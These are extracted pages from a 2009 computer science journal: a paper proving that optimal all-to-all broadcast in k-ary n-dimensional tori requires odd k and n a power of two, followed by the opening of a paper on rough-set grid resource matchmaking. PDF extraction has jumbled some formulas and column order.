Associate Professor Dr. Suhaidi Hassan is currently the Assistant Vice Chancellor of the College of Arts and Sciences, Universiti Utara Malaysia (UUM). He is an associate professor in Computer Systems and Communication Networks and the former Dean of the Faculty of Information Technology, Universiti Utara Malaysia. Dr. Suhaidi Hassan received his BSc degree in Computer Science from Binghamton University, New York (USA) and his MS degree in Information Science (concentration in Telecommunications and Networks) from the University of
164
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4 , No. 1 & 2, 2009
On The Optimality Of All-To-All Broadcast In k-ary n-dimensional Tori Jean-Pierre Jung1, Ibrahima Sakho2 UFR MIM, Université de Metz Ile du Saulcy BP 80794 - 57012 Metz Cedex 01 – France 1
[email protected] [email protected]
2
Abstract All-to-all broadcast is a collective communication in a network with the constraint that every node must send to each other certain piece of its data. This paper addresses the problem of optimal all-port all-to-all broadcast in multidimensional tori. The optimality criteria considered are the minimum exchange steps, no duplicated data in the sense that only new data are conveyed to receivers and the balance of the communication links-load. It is proved that under these constraints, an optimal broadcast is not feasible in any multidimensional torus. Then, the tori which are capable of optimal broadcasts are characterized. Keywords-MIMD computers; distributed memory ; interconnection network; multidimensional torus; all-to-all broadcast; NODUP; store-and-forward routing; message combining; ε-optimality.
I. INTRODUCTION Parallel computers with distributed memory constitute an attractive alternative in the search of scalable architectures for massively parallel applications. Given the processors interconnection network, IN for short, of such computers, inter-processor communications, IPC for short, are realized by passing messages. Then intensive IPC can rapidly result in a bottleneck for the IN. In order to insure efficient IPC, several IN have been proposed in the literature. Among them, cartesian product graphs which generalize multidimensional meshes and tori are more popular. Among communication patterns that induce intensive IPC, collective communication as defined in [1], [2] has received considerable attention. Collective communication is a communication pattern where a group of processors has to exchange data. Commonly used collective communication is the one where the group of processors is constituted of all the processors. Examples of such communication are all-to-all personalized communication [3], [4] and all-to-all broadcast [5], [6]. While in all-to-all personalized communication each node has to send a distinct message to every other node, in allto-all broadcast each node has to send the same message to all others nodes. They are undoubtedly the most demanding for IN bandwidth and then the most demanding for execution time. All-to-all broadcast is important in numerous applications that include protocols required for the control of distributed execution and intensive computation. Examples of such protocols are decentralised consensus [7], coordination of distributed checkpoints [8] and acquisition of new global state
of a system [9]. Examples of intensive computation are sorting [10] and ordinary differential equation solving [11]. Performance models of all-to-all broadcast are generally based on parameters as the number of data exchange steps, the size of data exchanged at each step and the so-called NODUP in [19] which imposes the absence of redundancy that is every data convey only new information to its receiver. It is obvious that any k-ary n-dimensional torus can not realise optimal all-to-all broadcast under all these constraints. The aim of this paper is then to characterize k-ary ndimensional tori capable to realise such optimal all-to-all broadcasts. The remainder of the paper is organized in five sections. Section II presents the related works and Section III the context of the study. Section IV presents mathematical properties used in the next sections to characterize k-ary ncube tori suitable for optimal all-to-all broadcast and Section V the characterization of such tori. Section VI concludes the paper and presents the perspectives for future works. II. RELATED WORKS Beyond the works cited in Section I, several studies have been conducted to devise efficient all-to-all broadcast algorithms for multidimensional meshes and tori. They can be classified in two main classes of algorithms: the direct algorithms like in [12] and [13] and the message combining algorithms like in [14], [15] and [16]. Direct algorithms aim at the minimisation of the number of data exchanges steps and then suppose that every pair of processors can directly exchange data. They then do not take into account the distance between the processors. Message combining algorithms are more realistic. They aim at the minimisation of the size of the data exchanged at each step. Then data destined for a processor are combined in successive exchanges steps to result in longer data and a reduced start up cost. Beyond these algorithms, there are other ones based on data pipelining techniques as described in [17] and [18]. In [20], the more general problem of methodologies for devising optimal all-to-all algorithms is addressed; an optimal all-to-all broadcast algorithm is proposed for k-ary 2dimensional tori. The constraints of such a broadcast are: - to route data on the shortest paths,
165
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4 , No. 1 & 2, 2009
-
to balance the link loads, to receive each data piece one and only once.
III. PROBLEM DESCRIPTION This section deals with the formulation of the optimal allto-all broadcast problem. Definitions and properties of multidimensional tori which are essential for this formulation will be given. A. Definitions 1) k-ary n-dimensional torus: A k-ary n-dimensional torus is a network of kn nodes x(x1,x2,…,xi,...,xn) such as 0≤xi≤k-1 and two nodes are connected if and only if their addresses differ by 1 [modulo k] on one and only one digit. More formally, it is a cartesian product of n rings having k nodes each one. Fig. 1 illustrates a bi-directional 5-ary 3dimensional torus.
Fig. 1. Bidirectional 5-ary 3-dimensional torus
2) All-to-all broadcast: An all-to-all broadcast is a type of global communication in which each node has to broadcast the same atomic data to the others nodes. At the end of such a communication, each node must be in possession of the data sent by all the nodes in the network. Let T be the all-to-all broadcast time function. 3) Optimal all-to-all broadcast: An optimal all-to-all broadcast is the one realized within the shortest time. More formally, an all-to-all broadcast A* is optimal if and only if T(A*) ≤ T(A) for any all-to-all broadcast A. 4) ε-optimal all-to-all broadcast: An ε-optimal all-to-all broadcast is the one realized within the shortest realisable time. More formally, an all-to-all broadcast A* is ε-optimal if and only if T(A*) < T(A) + ε for any all-to-all broadcast A.
B. Properties of k-ary n-cube tori The following properties come from the structure of the torus. Property 1: Let d(x, y) be the distance between two nodes x and y. d(x, y)=Σ1≤i≤nMin(|xi - yi|, k - |xi - yi|). Property 2: The diameter of a k-ary n-dimensional torus is equal to n k/2 where r stands for the floor of r. From Definitions 2-4, we can deduce the following characterization of optimal broadcasts. Proposition 1: A necessary and sufficient condition for an allto-all broadcast to be optimal is that: a) each piece of data is received once and only once by each node, b) data are routed on the shortest paths, c) link loads are balanced. Proof: The proof of the necessary condition is straightforward. Indeed when conditions a), b) and c) are all verified, the broadcast task is well balanced between all the nodes and then they all begin and end at the same time. Furthermore each node does just that is necessary. To prove the sufficient condition, suppose that one and only one of the conditions a), b), and c) is not verified. • The condition a) is not verified. Necessarily, at some steps, at least one node receives data whose one piece is redundant. One of useful pieces of data which should be received instead of the redundant one has been necessarily sent by an other node. Thus there is a node which, at this step, has sent a larger piece of data which requires more time. • The condition b) is not verified. Then more time is required to convey the data to their destination. • The condition c) is not verified. Then overloaded links will take more time to transfer their data. In any case, the data transfer requires more time; the resulting broadcast can not be optimal. At the best, it is εoptimal. We can deduce from this proposition that in an optimal allto-all broadcast, the number of the data exchanges steps between adjacent nodes has to be equal to the diameter of the torus, at each step the amount of data to exchange has to be the same on each link and the data must be routed on the shortest paths. IV. MATHEMATICAL FOUNDATIONS This section presents the mathematical properties used in the next sections to devise the conditions under which optimal all-to-all broadcast can be performed on a k-ary n-dimensional torus.
166
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4 , No. 1 & 2, 2009
reference node and having exactly p of their coordinates equal to v.
A. Definitions In the remainder of the paper, we will use the following equivalent definition of a k-ary n-cube torus instead of the one given in the previous section. 1) k-ary n-dimensional torus: Equivalently to the previous definition, a k-ary n-dimensional torus can also be viewed as a network of kn nodes x(x1, x2, … , xi ,... , xn) such as -k/2≤xi≤k/2) and two nodes are connected if and only if their addresses differ by 1 [modulo k] on one and only one digit. 2) The reference node: A reference node of a k-ary ndimensional torus is a node from which the topological view of the k-ary n-cube is identical to the one from any other node. By definition of the k-ary n-dimensional torus, it is obvious that any node can be the reference node. In the sequel, this will be the node which has all its coordinates equal to 0. It will be distinguished, as illustrated in Fig. 2, by a small black square. 3) Boundary node: A boundary node of a k-ary ndimensional torus is a node which, observed from the reference node, possesses a wraparound link. 4) Quadrant: A quadrant of a k-ary n-dimensional torus is the set of the nodes whose the coordinates, in any dimension, are both positive or both negative. For instance, in the k-ary n-dimensional of Fig. 2 there are four quadrants, one of which, the North-West quadrant, is constituted of the nodes x(x1, x2) such as x1 ≤ 0 and x2 ≥ 0.
Proposition 2: Let In,p be the set of the subsets of the n first non null natural integer of cardinality p. M(p,v)(n,k,t)=G(p,v)(n,k)*C(n,p)*N(p,v)(n,k,t) where:
G(p, v)(n, k)=
G(p, v)(n, k)=
2n-p
if v = 0
2n
otherwise
1
if v = 0
2p
otherwise
if k is odd.
if k is even.
|{x:xi≥0 and Σi∉I xi=t-pv}| N(p, v)(n,k,t)=
if k is odd
∑0≤ h≤n-p 2n-p-h*|{x≥0:Σi∉I|xi|=t-pv-hk/2}| otherwise.
Proof: By definition, M(p, v)(n,k,t)=|∪I∈In,p{x:|xi|≤k/2,Σ1≤i≤n|xi|=t and =∑ I∈In,p |{x:Σi∉I |xi| = t-pv}|.
|xi|=v if i∈I}|
Let Q be the set of quadrants of the k-ary n-dimensional torus according to the reference node. M(p,v)(n,k,t)=∑ I∈In,p ∑Q∈Q|{x∈Q:Σi∉I|xi|=t-pv}| =In,p*∑Q∈Q|{x∈Q:Σi∉I|xi|=t-pv}|
=C(n,p)*∑Q∈Q|{x∈Q:Σi∉I|xi|=t-pv}|.
Two situations may arise according to the parity of k. Case 1: k is odd. As illustrated in Fig. 2, all the quadrants are structurally identical. Then it is sufficient to reason on one of the quadrants. Let's consider, for instance, the quadrant:
Fig. 2. 5-ary 2-dimensional torus B. Properties Let: C(m,p) be the number of combinations of p elements among m, exp(q,m) be the exponent of the prime factor q in the decomposition of m, M(p, v)(n, k, t) be the cardinal of the set of the nodes of a kary n-dimensional torus located at distance t from the
Q={x:xi=v if i∈I and xi≥0 otherwise}.
∑Q∈Q|{x∈Q:Σi∉I |xi|=t-pv}|=|Q|*|{x∈Q:Σi∉I |xi|=t-pv}| and then:
167
M(p, v)(n,k,t)=C(n,p)*G(p, v)(n,k)*N(p, v)(n,k,t)
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4 , No. 1 & 2, 2009
with:
Redundant boundary nodes are illustrated in Fig. 4 by white East (resp. South) boundary nodes which are duplicates of the West (resp. North) black boundary nodes while their induced redundant links are illustrated by the dotted links.
2n-p if v = 0 G(p, v)(n, k) =
N(p, v)(n,k,t)=
2n
otherwise, Then, from the odd-arity case:
|{x:xi≥0 and Σi∉I xi=t-pv}|.
M(p, v)(n,k,t)=C(n,p)*∑0≤h≤ n-p G'(p, v)(n,k)/2h*{x:xi≥0 and
Σi∉I |xi|=t-pv-hk/2}|
Case 2: k is even. Again: =C(n,p)*G'(p, v)(n,k)/2
M(p,v)(n,k,t)=C(n,p)*∑Q∈Q|{x∈Q:Σi∉I|xi|=t-pv}|. However, the quadrants are no more structurally identical. Indeed, they have not the same number of boundary nodes as illustrated in Fig. 3 for the 4-ary 2-dimensional torus.
n-p *
N(p, v)(n,k,t).
From where the expected results: G'(p, v)(n,k)=G(p, v)(n,2k'+1)
N(p, v)(n,k,t)=∑0≤ h≤n-p 2n-p-h*|{x≥0:Σi∉I|xi|=t-pv-hk/2}|.
Let (sr, r ≥ 0) be the recursive sequence whose general term is defined as:
sr =
1
if r = 0
(sr-1)q-1 σr-1
otherwise
where (sr-1)q-1 stands for (q-1) times the terms of sr-1 and σr-1 stands for the sequence sr-1 whose last term is incremented by 1. For instance for q = 3 and r = 3 we obtain: Fig. 3. 4-ary 2-dimensional torus
Then, according to set of the nodes x having h coordinates xi, for i∉I, equal to k/2: M(p, v)(n,k,t)=C(n, p)*∑0≤h≤n|{x:Σi∉I|xi|=t-pv-hk/2}|.
s0 = 1 s1 = 1 1 2 s2 = 1 1 2 1 1 2 1 1 3 s3 = 1 1 2 1 1 2 1 1 3 1 1 2 1 1 2 1 1 3 1 1 2 1 1 2 1 1 4 Let sr(m) be the m-th term of the sequence sr and mi the i-th digit of m in the base q.
Let's embed the k-ary n-dimensional torus in a (k+1)-ary ndimensional torus. As illustrated in Fig. 4, the quadrants become structurally identical but with each boundary node appearing redundantly 2h times for 0≤h≤n-p.
Lemma 1: ∑1≤i≤msr(i)=∑0≤i≤logm m/qi. Proof: We know from the decomposition of an integer in a base q that m=∑0≤i≤logmmiqi. Consequently, in accordance with the recursive nature of the sequence sr and the fact that mi
∑1≤i≤msr(i)=∑0≤i≤logm mi∑1≤j≤qi si(j). From the definition of si, we know that:
∑1≤j≤qisi(j)=(q-1)*∑1≤j≤ q(i-1)si-1(j)+∑1≤j≤q(i-1)σi-1(j) =(q-1)*∑1≤j≤q(i-1)si-1(j)+∑1≤j≤q(i-1)si-1(j)+1 =q*∑1 ≤ j ≤ q(i-1)si-1(j)+1 Fig. 4. 4-ary 2-dimensional torus embedded in 5-ary 2-dimension torus
By iteration, using similar reasoning, we obtain:
168
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4 , No. 1 & 2, 2009
∑1 ≤ j ≤ qisi(j)=q2*∑1 ≤ j ≤ q(i-2)si-2(j)+q+1 =∑0 ≤ j ≤ i qj.
= ∑1≤j≤1+log p/q p/qj. Lemma 3: Let Cp=∑1≤j≤1+ log((n-p)/q) (n-p)/qj. Cp=(1/(q-1))((n-p)- (∑0≤j≤αnj-∑0≤j≤βpj))– Card{1≤j≤β:
Therefore:
∑0≤i≤j-1niqi < ∑0≤i≤ j-1 piqi}.
∑1 ≤ i ≤ msr(i) = ∑0 ≤ i ≤ logm mi∑0 ≤ j ≤ i qj. Let's consider the following triangular matrix organisation of the terms of the second member. i=0 i=1 i=2 … i = logqm
m0 m1 m2
m1q m2q
mlogm
mlogmq
Proof: Let's consider that: n=∑0≤i≤α niqi with α=logqn p=∑0≤i≤βpiqi with β=logqp.
m2q2
Then, as n > p:
mlogmq
2
…mlogmq
logm
n-p=∑0≤i≤α(ni-pi)qi (n-p)/qj=∑j≤i≤α(ni-pi)qi-j+cj
Summing the terms on the same diagonal we obtain: -1 if ∑j≤i≤α (ni-pi)qi<0
∑i≤j≤logm-i mjq =∑0≤j≤logmmjq /q =m/q j
j
i
i
where cj = 0 otherwise.
from where: Cp=∑1≤j≤α(n-p)/qj
∑1≤i≤msr(i)=∑0≤i≤logm m/q . i
=∑1≤j≤α∑j≤ i≤α(ni-pi)qi-j+∑1≤j≤ αcj =∑1≤j≤α∑j≤i≤α(ni-pi)qi-j-Card{1≤j≤β:
Lemma 2: exp(q, p!) = ∑1≤j≤1+log(p/q) p/qj.
∑0≤i≤j-1niqi<∑0≤i≤j-1piqi} =∑1≤j≤α ∑j≤i≤α niqi-∑1 ≤j≤β∑j≤i≤βpiqi-Card{1≤j≤β: ∑0≤i≤j-1niqi<∑0≤i≤j-1piqi }.
Proof: By definition, exp(q,p!)=∑1≤m≤pexp(q,m). As the only values of m for which exp(q,m) is non null are the multiples of q, the above relation becomes:
As in the proof of Lemma 1, the terms of ∑1≤j≤α∑j≤i≤αniqi can be organized in the following triangular matrix: j=α j = α-1 j = α-2 … j=1
exp(q,p!)=∑1≤j≤ p/qexp(q,j*q) where:
exp(q, j*q)=
1
if j < q
1+exp(q, j)
if j is a power of q
In others words the sequence (exp(q,j*q),1≤j≤p/q) is straightforwardly a subsequence of sr with r ≥ logqp/q. Then, from Lemma 1 it comes that:
nαq2
n1
n2q
n3q2
…
nαqα-1
∑1≤j≤ α∑j≤i≤αniqi=∑1≤j≤αnj∑0≤i≤ j-1qi =(1/(q-1))∑1≤j≤α nj(qj-1) = (1/(q-1))(∑1≤j≤αnjqj)-∑1≤j≤αnj) = (1/(q-1))(n-∑0≤j≤αnj). Similarly:
∑1≤j≤β∑j≤i≤βpiqi =(1/(q-1))(p-∑0≤j≤βpj)
= ∑0≤j≤log p/q p/q/qj = ∑0≤j≤log p/q p/qj+1
nαq nα-1q
Summing the terms on the same diagonal we obtain that:
exp(q, j*q mod (q1+ logq)) otherwise.
exp(q, p!)=∑1≤j≤ p/q sr(j)
nα nα-1 nα-2
from where, we obtain the expected result.
169
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4 , No. 1 & 2, 2009
V. CHARACTERIZATION OF THE OPTIMALITY The aim of this section is to characterize k-ary ndimensional tori capable of optimal all-to-all broadcasts such as data are routed on shortest paths, received only once by each node, and link loads are balanced. According to these constraints, given the incremental construction of the torus, at step t of the broadcast each data has to move in a descending construction order of the torus. This move can be realized according to several equivalent strategies. Such a strategy can be as simple as to move towards one of the nearest axis or the farthest axis of the torus with a smaller dimension. So let's choose the move-towardsone-of-the-nearest-axis strategy. This strategy partitions the nodes located at a given distance from the reference node into the classes of nodes at distance 0,1,… from one or more nearest axis. The nodes belonging to a same class can also be partitioned into classes of nodes having, in this order, exactly n,n-1,…,1 identical coordinates. As each piece of data located at a distance t from the reference node and having exactly p of its coordinates equal to v can be routed to the reference node only on the p axis from which it is at distance v, a sufficient and necessary condition for an optimal all-to-all broadcast is that for any t, M(p, v)(n, k, t) must be divisible by the number of the incoming axis of any node which is equal to 2n.
Case 1: q≠2. In this case we have exp(q,2)=0 and exp(q,G(p, v)(n,k))=0. Then the above inequality becomes: exp(q,n)≤exp(q,C(n,p)) Let's recall that: C(n,p)/n =(n-1)(n-2)… (n-p+1)/p! and that, from Lemma 2: exp(q, p!) = ∑1≤j≤1+log(p/q) p/qj. From the same lemma we also know that: exp(q,(n-1)(n-2)… (n-p+1))=∑1≤j≤1+log((n-1)/q) (n-1)/qj -
∑1≤j≤1+log((n-p)/q) (n-p)/qj. Indeed, (n-1)(n-2)… (n-p+1)=(n-1)!/(n-p)!. We know from Lemma 3 that: C1=(1/(q-1))((n-1)-(∑0≤j≤αnj-1))-Card{1≤j≤β:∑0≤i≤j-1niqi< 1} =(1/(q-1))((n-1)-(∑0≤j≤αnj-1))-Card{1≤j≤β:∑0≤i≤j-1 niqi = 0}.
Lemme 4: 2n does not divide N(p, v)(n, k, t). Proof: Let q be a prime factor of 2n. From Proposition 2,
N(p, v)(n,k,n(v+1)-p) = Then: -
1
if k is odd
2n-p
otherwise.
Similarly,
∑1≤j≤1+logp/q)p/qj=(1/(q-1))(p-∑0≤j≤βpj). By substituting to each term for its value in the above divisibility condition, we obtain the expected relation with the two last terms of the second member being equal to 0.
if q≠2: exp(q,N(p, v)(n,k,t))<exp(q,2n), if q=2: for k odd, N(p, 0)(n,k,n-p)=1 and again: exp(q,N(p, v)(n,k,t))<exp(q,2n).
Case 2: q=2. In this case, exp(q,2)=1 and exp(q,G(p, v)(n,k))=0 or n-p. Then the divisibility condition becomes:
Lemma 5: A necessary and sufficient condition for 2n to divide G(p, v)(n,k)C(n,p) is that: Card{j≤β:∑0≤i≤ j-1niqi<∑0≤i≤ j-1piqi }≥Card{j≤α:
∑0≤i≤ j-1niqi=0}-exp(q,Q(p, v)(n,k))+exp(q,2) where α=logqn and β=logqp, for any prime factor q of n and p. Proof: Let's recall that 2n divides G(p,v)(n,k)C(n,p) means that for any prime factor q of 2n and G(p, v)(n,k)C(n,p) we have:
1+exp(q,n)≤exp(q,G(p, v)(n,k))+exp(q,C(n,p)). By a reasoning similar to the one used for the case where q≠2, we obtain the desired relation. At this point of our characterization, we have to specify the values of n which satisfy the condition of Lemma 5. Again this depends on the values of q. Case 1: q ≠ 2. The question is to know if there is n such as: Card{j≤β:∑0≤i≤j-1niqi<∑0≤i≤j-1 piqi}≥Card{j≤α:
exp(q,2)+exp(q,n)≤exp(q,G(p, v)(n,k))+exp(q,C(n,p))
∑0≤i≤j-1niqi=0}
According to the expression of G(p,v)(n,k) from Proposition 2, two situations may arise.
for any p < n.
170
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4 , No. 1 & 2, 2009
The answer is definitively no. It suffices indeed to take p=q. Therefore the only values of n which are candidates are those which do not admit no other prime factor else q=2, that is, the values of n which are powers of 2. Case 2: q=2. The question is to know if there is n, equal to a power of 2 and strictly greater than any p, such as: Card{j≤β:∑0≤i≤ j-1niqi<∑0≤i≤ j-1piqi }≥Card{j≤α:
∑0≤i≤j-1niqi=0}-exp(q,G(p, v)(n,k))+1. Two situations may arise according to the values of k. Case 2.1: k is odd. As G(p, v)(n, k) may take different values we just have to verify the relation for the maximum of all values of the second member of the inequality which is attained for the minimum value of exp(q, G(p, v)(n, k)) that is 2n-p. Then we have:
node has to be identical at each step of the broadcast; furthermore there must exist a partition of the data received at each node such as the cardinality of each element of the partition is divisible by the number of links. The paper proves that such a partition can be built only for k-ary n-dimensional tori for which k is odd and n is a power of 2. In any other case, any all-to-all broadcast algorithm, at best, is ε-optimal but not optimal. Then the objectives of the future works on this subject are double. On one side they will concern the study of the best allto-all broadcast when k is even or n is not a power of 2. On the other side they will concern the study of the best suited switching processes in order to obtain efficient all-to-all broadcast, whatever are the arity and the dimension of the tori. REFERENCES [1]
[2]
Card{j≤β:∑0≤i≤ j-1ni2i<∑0≤i≤ j-1pi2i}≥Card{j≤ α:
∑0≤i≤ j-1ni2i=0}-n+p+1
[3]
where n=2r. Again let's consider the maximum of the second member of the inequality for all values of p=2r-2. We obtain:
[4]
[5]
Card{j≤α:∑0≤i≤j-1ni2i=0}-n+p+1=r-1 Card{j≤β:∑0≤i≤ j-1ni2i<∑0≤i≤ j-1pi2i}=r-1
[6]
The inequality is then true.
[7]
Case 2.2: k is even. By the same reasoning as the case where k is odd, we have to verify the following inequality: Card{j≤β:∑0≤i≤j-1ni2i<∑0≤i≤ j-1 pi2i}≥Card{j≤α:
[8]
[9]
∑0≤i≤j-1ni2i=0}+1. Again, from the case where q≠2, this relation can not be true. Indeed, it suffices to take p=2. We can summarize this discussion by the following characterization which confirms the results obtained in [20] for k-ary 2-dimensional tori.
[10] [11]
[12]
[13]
Theorem: A necessary and sufficient condition for an all-toall broadcast to be optimal in a k-ary n-dimensional torus is that n is a power of 2 and k is odd. VI. CONCLUSION This paper devised the conditions for optimal all-to-all broadcast in k-ary n-dimensional tori. Such a broadcast has to satisfy routing on the shortest paths while balancing the linkloads and minimizing the switching process at each node. The satisfaction of the balance of the link loads constraints imposes that the amount of data received on each link at each
171
[14]
[15]
[16]
[17]
P.K. McKinley and Y.-J. Tsai, D. Robinson, "Collective communication in wormhole-routed massively parallel computers", Computer, pp. 62-76, June 1993. D.K. Panda, "Issues in designing efficient and practical algorithm for collective communication on wormhole-routed systems", in Proc. ICCP Workshop on Challenges for Parallel Processing, 1995, p. 8. S. Hinrichs, C. Kosak, D.R. O'Hallaron, T.M. Sticker and R. Take, "An architecture for optimal all-to-all personalised communication", in Proc. Symp. Parallel Algorithms and Architectures, 1994, p. 310. S.L. Johnsson and C.T. Ho, "Optimum broadcasting and personalised communication in hypercubes", IEEE. Trans. Computers, vol 38, pp. 1249-1268, Sept. 1989. D.M. Topkis, "All-to-all broadcast by flooding in communications networks", IEEE. Trans. Computers, vol 38, pp. 1330-1332, Sept. 1989. M.-S. Chen, J.-C Chen, and P. S. Yu, "On general results for all-toall broadcast", IEEE. Trans. on Parallel and Distributed Systems, 7(4), pp. 363-370, Sept. 1996. M.-S. Chen, K.-L. Wu and P. S. Yu, "Efficient decentralised consensus protocols in a distributed computing systems", in Proc. of International Conference on Distributed Computing Systems, 1992, p. 426. T. V. Lakshman and A. K. Agrawala, "Efficient decentralised consensus protocols", IEEE. Trans. on Software Engineering, vol 12, pp. 600-607, May 1986. [9] S. B. Davidson, H. Garcia-Molina and D. Skeen, "Consistency in partitioned networks", ACM Computing Surveys, vol. 17, n°. 13, pp. 341-370, Sept. 1985. S. Rajasekaran, "k-k Routing, k-k Sorting and Cut-through Routing on the mash", J. of Algorithms, vol. 19, pp. 361-382, March 1995. P.S. Rao and G. Mouney, "Data communications in parallel blockpredictor-corrector methods for solving ODEs", LAAS-CNRS, France, Technical Report, 1995. D.S. Scott, "Efficient all-to-all communication patterns in hypercube and mesh topologies", in Proc. Sixth Conf. Distributed Memory Concurrent Computers, 1991 p. 398. R. Thakur, and A. Choudhray, "All-to-all communication on meshes with wormhole routing", in Proc. Eighth Int. Parallel Processing Symp., 1994, p. 561. S.H. Bokhari and H. Berryman, "Complete exchange on a circuit switched mesh", in Proc. Scalable High Performance Computing Conf., 1992, p. 300. Y.-J. Suh and S. Yalamanchili, "All-to-all communication with minimum start-up costs in 2D/3D Tori and Meshes", IEEE. Trans. on Parallel and Distributed Systems, 9(7), pp. 442-458, May 1998. Y.-J. Suh and K. G. Shin, "All-to-all personalised communication in multidimensional torus and mesh networks", IEEE. Trans. on Parallel and Distributed Systems, 12(1), pp. 38-59, January 2001. Y. Yang and J. Wang, "Pipelined all-to-all braodcast in all port meshes and tori", IEEE. Trans. on Computers, vol. 50, pp. 567-582, June 2001.
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4 , No. 1 & 2, 2009
[18]
[19]
[20]
Y. Yang and J. Wang, "Near-Optimal all-to-all braodcast in multidimensional all port meshes and tori", IEEE. Trans. on Parallel and Distributed Systems, 13(2), pp. 128-141, February 2002. S.M. Hedetniemi, S.T. Hedetniemi and A. Liestman, "A survey broadcasting and gossiping in communications networks", Networks, vol.18 pp. 319-351, 1988. J-P. Jung and I. Sakho, "A methodology for devising optimal all port all-to-all broadcast algorithms in 2-dimensional tori", in Proc. of IEEE LCN, 2003, p. 558.
AUTHORS PROFILE Jean-Pierre Jung received the PhD in computer science in 1983 at the University of Metz. From 1983 to 1994 he was Assistant Professor at the University of Metz. Since 1994 he is Professor at the Dpt. of Computer Science of the University of Metz where he teaches script and system programming. The
research area of Prof. Jung concerns CAD and parallel and distributed systems. Ibrahima Sakho received the PhD in applied mathematics in 1987 at the Institut National Polytechnique de Grenoble. From 1987 to 1992 he was at the Institute des Mathématiques Appliquées de Grenoble where he worked in the european supercomputer project Supernode, then from 1992 to 1997 at the École des Mines de St-Etienne where he was the head of the Parallel and Distributed Systems team. Since 1997 he is Professor at the University of Metz where he teaches computer architecture, parallel and distributed systems and making decision under uncertainty. The research of Prof. Sakho addresses the design of parallel and distributed algorithms and the algorithmic of the control of these systems.
172
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No.1, 2009
Resource Matchmaking Algorithm using Dynamic Rough Set in Grid Environment Iraj Ataollahi
Morteza Analoui
Computer Engineering Department Iran University of Science and Technology Tehran, Iran [email protected]
Computer Engineering Department Iran University of Science and Technology Tehran, Iran [email protected] One of the first methods that can be used for service discovery is UDDI which is used for web service publication and discovery. The current web service discovery mechanism is based on the standard of UDDI [6]. In UDDI, XML is used to describe data in business services. UDDI process Searchs queries according to keywords and classification information. There is limitation with the discovery mechanism of UDDI. Firstly, machine can read XML data, but it can not understand XML data. Different query keywords may be semantically equivalent, whereas UDDI can not infer any information from keywords or tModels it can easily make mistake. Secondly, search by keywords and taxonomy is not suitable for web service discovery. Furthermore, UDDI does not support search by service capabilities and other properties [7]. This makes UDDI search method a low precision method [6]. By advent of semantic web, services can be annotated with metadata for enhancement of service discovery. One of the earliest to add semantic information is DAML-S [8]. DAML-S uses semantic information for discovering Web services. DAML-S uses ontological description to express web service capacity and character. OWL-S is an OWL [9] based ontology for encoding properties of Web services. OWL-S technology is used to facilitate service annotation and matching. OWL-S ontology defines a service profile for encoding a service description, a service model for specifying the behavior of a service, and service grounding for how to invoke the service. Actually, by using domain ontology descried in OWL, using special software such as protégé [10], a service discovery process involves a matching between the profile of a service advertisement and the profile of a service request. The service profile describes the functional properties such as inputs, outputs, preconditions, and effects, and non functional properties such as service name, service category, and aspects related to the quality of service. In [11] a quantification standard for semantic service matching has been presented that modifies the classical matching algorithm based on OWL-S. Matching algorithm has used the quantification standard of service matching and OWL-WS. In [12] service composition algorithm has constructed a mathematical model and converted it to the shortest path problem in order to find process that can satisfy customer need in best conditions.
Abstract— Grid environment is a service oriented infrastructure in which many heterogeneous resources participate to provide the high performance computation. One of the bug issues in the grid environment is the vagueness and uncertainty between advertised resources and requested resources. Furthermore, in an environment such as grid dynamicity is considered as a crucial issue which must be dealt with. Classical rough set have been used to deal with the uncertainty and vagueness. But it can just be used on the static systems and can not support dynamicity in a system. In this work we propose a solution, called Dynamic Rough Set Resource Discovery (DRSRD), for dealing with cases of vagueness and uncertainty problems based on Dynamic rough set theory which considers dynamic features in this environment. In this way, requested resource properties have a weight as priority according to which resource matchmaking and ranking process is done. We also report the result of the solution obtained from the simulation in GridSim simulator. The comparison has been made between DRSRD, classical rough set theory based algorithm, and UDDI and OWL-S combined algorithm. DRSRD shows much better precision for the cases with vagueness and uncertainty in a dynamic system such as the grid rather than the classical rough set theory based algorithm, and UDDI and OWLS combined algorithm. Keywords- Grid, Rough Set; Dynamic rough set; Resource Discovery; Ontology; UDDI; OWL-S
I.
INTRODUCTION (HEADING 1)
Nowadays, Grid is considered as a service-oriented computing infrastructure [1]. Open Grid Services Architecture (OGSA) [2], which has been promoted by Global Grid Forum, has been used for dealing with service-oriented problem [3]. Many resources such as workstations, clusters, and mainframes with various properties such as main memory, CPU speed, bandwidth, virtual memory, hard disk, operating system, CPU vender, number of CPU elements etc are joining and leaving the grid environment. On the Other hand many users want to use these resources to run their jobs with different requirements. But there are always differences between which a user requested and whitch have been registered in a grid GIS. To solve this vagueness and uncertainty we use rough set theory, proposed by Z. Pawlak in 1982 [4], which has been used in vast area of computer science such as data mining, pattern recognition, machine learning and knowledge acquisition etc [5].
173
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No.1, 2009
In [7] an approach has been developed for integrating semantic features into UDDI. The approach uses a semantic matchmaker that imports OWL-S based semantic markups and service properties into UDDI. The combination of OWL-S and UDDI shows there could be a service discovery which supports web service expression while UDDI is used. The matchmaker, therefore, enables UDDI to store semantic information of web services and process service search queries based on semantic similarity of web service properties [7]. The above-mentioned methods facilitate service discovery in some way. However, when matching service advertisements with service requests, these methods assume that service advertisements and service requests use consistent properties to describe relevant services. But for a system such as Grid with a large number of resources and users which have their own predefined properties to describe services, it can't be true that service advertisements and service requests use consistent properties to describe services. In other words, some properties may be used in service advertisement that may not be used by service request. So, an approach must be taken into consideration to deal with uncertainty of service properties when matching service advertisements with service requests. Rough set theory is a new mathematical theory which deals with uncertainty and vagueness [13]. In addition to the use of rough set theory, we use service ontology to describe resources in a classified form. This ontology has been made according to the Karlsruhe ontology model [10]. The remainder of this paper is organized as fallows. Part II is a description of rough set theory, part II is a description of the algorithm implemented and used in this paper, part IV is a comparison of our algorithm with UDDI and OWL-S combined model proposed in 